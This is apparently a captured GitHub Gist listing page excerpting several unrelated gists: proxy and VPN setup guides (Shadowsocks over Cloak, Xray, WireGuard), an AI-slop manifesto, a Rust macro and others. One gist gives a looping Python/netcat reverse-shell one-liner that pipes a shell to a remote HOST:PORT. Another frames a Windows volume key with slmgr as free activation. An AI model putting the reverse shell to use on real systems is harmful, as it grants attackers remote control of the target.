Skip to content

Instantly share code, notes, and snippets.

@rz6agx
rz6agx / PWS_SS-over-Cloak.md
Last active November 27, 2026 06:36
Proxy server Shadowsocks over Cloak for Windows 11 PowerShell script

Запуск прокси Shadowsocks over Cloak в Windows 10/11

Напишем модуль для PowerShell, который позволяет запускать локальный прокси‑сервер Shadowsocks over Cloak в пространстве пользователя, без повышения привилегий и без вмешательства в системные службы Windows. Модуль управляет процессом sslocal и его плагином ck-client, настраивает WinINet‑прокси через HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings и корректно обновляет сетевые параметры через вызовы InternetSetOption.

Такой подход позволяет использовать Shadowsocks+Cloak как системный SOCKS5‑прокси для приложений, работающих через WinINet (браузеры, UWP, часть десктопных программ), не затрагивая WinHTTP и не требуя административного доступа. Все операции выполняются в user‑space, что делает модуль удобным для рабочих станций, корпоративных сред и сценариев, где изменение глобальных сетевых настроек недопустимо.

Cloak — это подключаемый транспортный механизм, маскирующий прокси‑трафик под обычный HTTPS‑трафик с использованием криптограф

@rz6agx
rz6agx / Launch-Xray-MacOS.md
Last active November 27, 2026 06:31
Цель состоит в том, чтобы автоматизировать запуск **Xray** при каждой загрузке **macOS**, подобно тому, как это делается с помощью `systemctl` на **Linux**.

Запуск Xray как сервиса на macOS

Цель состоит в том, чтобы автоматизировать запуск Xray при каждой загрузке macOS, подобно тому, как это делается с помощью systemctl на Linux. Xray стартует в фоне, поднимает локальный прокси-сервер на указанном в конфиге порте. После чего отдельной командой можно подключать или отключать системный прокси-сервер.

Установка и обновление xray-core легко производится через homebrew.

На macOS для управления сервисами используется Launchd. Это системный менеджер, который запускает программы и скрипты по расписанию или при определенных событиях, таких как загрузка системы.

Создание plist файла:

  • Создайте новый текстовый файл с расширением .plist. Например, com.xray.proxy.plist.
@henno
henno / wg-multi-tunnel.md
Last active November 27, 2026 06:29
Wireguard multitunnel

Running Multiple WireGuard Tunnels Simultaneously on macOS

The official WireGuard app for macOS only allows one active tunnel at a time. This guide shows you how to use WireGuardStatusbar, a menubar app that supports multiple simultaneous tunnels.

What You'll Need

  • macOS computer
  • Existing WireGuard configurations (from your WireGuard app)
  • About 15 minutes
@onionj
onionj / reverse_shell.md
Last active March 17, 2026 14:22
Create a Linux / macOS Reverse Shell in One Command with Python and Netcat (nc)

Create a Linux / macOS Reverse Shell in One Command with Python and Netcat (nc)

Simple Method:

On the target system, execute the following command (replace HOST with your server's IP or domain):

while :; do python3 -c "HOST='localhost'; PORT='12012'; SHELL='sh'; import datetime; print(datetime.datetime.now(),'connecting to',HOST,PORT);import subprocess; nc_process=subprocess.Popen(['nc', HOST, str(PORT)], stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True); sh_process=subprocess.Popen([SHELL], stdin=nc_process.stdout, stdout=nc_process.stdin, stderr=nc_process.stdin, text=True); nc_process.wait(); sh_process.kill()"; sleep 1; done
@dexhorthy
dexhorthy / the-no-ai-slop-manifesto.md
Last active November 27, 2026 06:15
The No AI Slop Manifesto

No AI Slop: A Manifesto

Written by the speakers and attendees of AIE Code Summit 2026

In 2001, 17 software engineers and leaders got together at a ski lodge in Snowbird, Utah to understand the biggest challenge of their time: heavyweight, documentation-driven software development processes.

Out of this we got the Agile Manifesto, four values and twelve principles that changed how most of the industry builds software.

Today we convene to build our own manifesto - the No AI Slop manifesto.

@dori4n
dori4n / Office 2024 ISO Links at Microsoft.md
Created January 13, 2025 06:30
Office 2024 ISO Download Links at Microsoft

LLM Wiki

A pattern for building personal knowledge bases using LLMs.

This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.

The core idea

Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.

#[macro_export]
macro_rules! avec {
($($element:expr),*) => {{
// check that count is const
const C: usize = $crate::count![@COUNT; $($element),*];
#[allow(unused_mut)]
let mut vs = Vec::with_capacity(C);
$(vs.push($element);)*
vs
@robin-collins
robin-collins / windows-11-activation.txt
Created October 7, 2023 11:05
Windows 11 Activation
# How to Activate Windows 11 for FREE
## Step 1: Click on the Start button, search for “cmd“, and click on “Run as Administrator“.
## Step 2: Type: slmgr /ipk [KEY]
Replace the [KEY] with your key as per your windows version as mentioned below.
The following is the list of Windows 11 Volume license keys.
* Home: TX9XD-98N7V-6WMQ6-BX7FG-H8Q99